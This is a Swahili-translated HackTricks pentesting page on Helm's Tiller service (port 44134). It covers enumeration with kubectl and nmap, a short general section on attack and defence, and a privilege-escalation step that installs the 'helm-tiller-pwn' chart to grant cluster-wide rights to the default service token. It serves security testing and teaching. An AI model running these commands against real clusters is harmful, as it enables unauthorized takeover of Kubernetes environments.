hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-02-11 02:13:58 +00:00

7.8 KiB

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Helm ni meneja wa pakiti kwa Kubernetes. Inaruhusu kufunga faili za YAML na kuzisambaza kwenye repositori za umma na binafsi. Pakiti hizi huitwa Helm Charts. Tiller ni huduma inayotumika kwa chaguo-msingi kwenye bandari 44134 inayotoa huduma.

Bandari ya chaguo-msingi: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Uchambuzi

Ikiwa unaweza kuchambua pods na/au huduma za majina tofauti, chambua na tafuta zile zenye "tiller" katika jina lao:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Swahili Translation:

Pentesting Tiller (Helm)

Helm ni chombo cha usimamizi wa mfuko wa Kubernetes ambacho kinatumika kusimamia na kusambaza programu zilizojengwa kwenye mfumo wa Kubernetes. Tiller ni sehemu ya Helm ambayo inaruhusu watumiaji kusimamia na kudhibiti vifurushi vya programu kwenye mfumo wa Kubernetes.

Kuchunguza Tiller

Kabla ya kuanza kuchunguza Tiller, ni muhimu kuelewa jinsi inavyofanya kazi na jinsi inavyoshirikiana na mfumo wa Kubernetes. Tiller hutumia gRPC (itifaki ya mawasiliano ya mbali) kwa mawasiliano yake na Kubernetes API server. Kwa hivyo, ni muhimu kuelewa jinsi gRPC inavyofanya kazi na jinsi ya kuchunguza mawasiliano yake.

Kuvunja Tiller

Kuna njia kadhaa za kuvunja Tiller na kupata udhibiti juu ya mfumo wa Kubernetes. Hapa kuna baadhi ya mbinu zinazoweza kutumika:

  1. Kuvunja Tiller kupitia kuingilia kati kwa trafiki: Unaweza kuchunguza mawasiliano kati ya Tiller na Kubernetes API server na kuingilia kati kwa trafiki ili kudhibiti mawasiliano hayo. Hii inaweza kufanyika kwa kutumia zana kama mitambo ya kati (man-in-the-middle) au kuvunja SSL/TLS.

  2. Kuvunja Tiller kupitia udhaifu wa usalama: Unaweza kutafuta udhaifu wa usalama katika Tiller au katika mazingira ya Kubernetes ili kupata udhibiti juu ya mfumo. Hii inaweza kujumuisha kutafuta udhaifu katika toleo la Tiller, kutumia vibaya vibali vya kutosha au kutumia mbinu zingine za kuvunja usalama.

  3. Kuvunja Tiller kupitia mizigo ya Helm: Unaweza kutumia mizigo ya Helm ili kuvunja Tiller na kupata udhibiti juu ya mfumo wa Kubernetes. Hii inaweza kujumuisha kutumia mizigo ya Helm iliyoundwa kwa makusudi ili kudhibiti Tiller au kutumia mizigo ya Helm iliyoundwa na watumiaji wengine ambayo inaweza kuwa na udhaifu.

Kuzuia Mashambulizi ya Tiller

Ili kuzuia mashambulizi ya Tiller, kuna hatua kadhaa unazoweza kuchukua:

  1. Funga Tiller: Ikiwa hauitumii Tiller, unaweza kufunga kabisa ili kuzuia mashambulizi yoyote yanayolenga chombo hicho.

  2. Sasisha Tiller: Hakikisha kuwa una toleo la karibuni la Tiller na kwamba umesasisha mara kwa mara ili kuepuka udhaifu uliojulikana.

  3. Sanidi vibali vya Tiller: Hakikisha kuwa vibali vya Tiller vimesanidiwa kwa usahihi ili kuzuia ufikiaji usioidhinishwa.

  4. Tumia usimbuaji wa trafiki: Tumia usimbuaji wa trafiki kati ya Tiller na Kubernetes API server ili kuzuia kuingiliwa kwa trafiki na kudhibiti mawasiliano.

Kwa kuzingatia hatua hizi za kuzuia, unaweza kusaidia kulinda mfumo wako wa Kubernetes na kuzuia mashambulizi ya Tiller.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Unaweza pia jaribu kupata huduma hii kwa kuangalia bandari 44134 inayotumika:

sudo nmap -sS -p 44134 <IP>

Baada ya kuigundua, unaweza kuwasiliana nayo kwa kupakua programu ya mteja ya helm. Unaweza kutumia zana kama homebrew, au angalia ukurasa rasmi wa matoleo. Kwa maelezo zaidi, au chaguo nyingine, angalia mwongozo wa ufungaji.

Kisha, unaweza kutambua huduma:

helm --host tiller-deploy.kube-system:44134 version

Kupandisha Uthamani

Kwa chaguo-msingi, Helm2 ilisakinishwa katika namespace kube-system na uthamani wa juu, kwa hivyo ikiwa utapata huduma hiyo na una ufikiaji wake, hii inaweza kukuruhusu kupandisha uthamani.

Unachohitaji kufanya ni kusakinisha pakiti kama hii: https://github.com/Ruil1n/helm-tiller-pwn ambayo itampa ufikiaji wa alama ya huduma ya chaguo-msingi kwa kila kitu katika kikundi kizima.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Katika http://rui0.cn/archives/1573 una maelezo ya shambulio, lakini kwa msingi, ikiwa unasoma faili clusterrole.yaml na clusterrolebinding.yaml ndani ya helm-tiller-pwn/pwnchart/templates/ unaweza kuona jinsi mamlaka zote zinavyotolewa kwa token ya chaguo-msingi.

Jifunze kuhusu kudukua AWS kutoka sifuri hadi bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: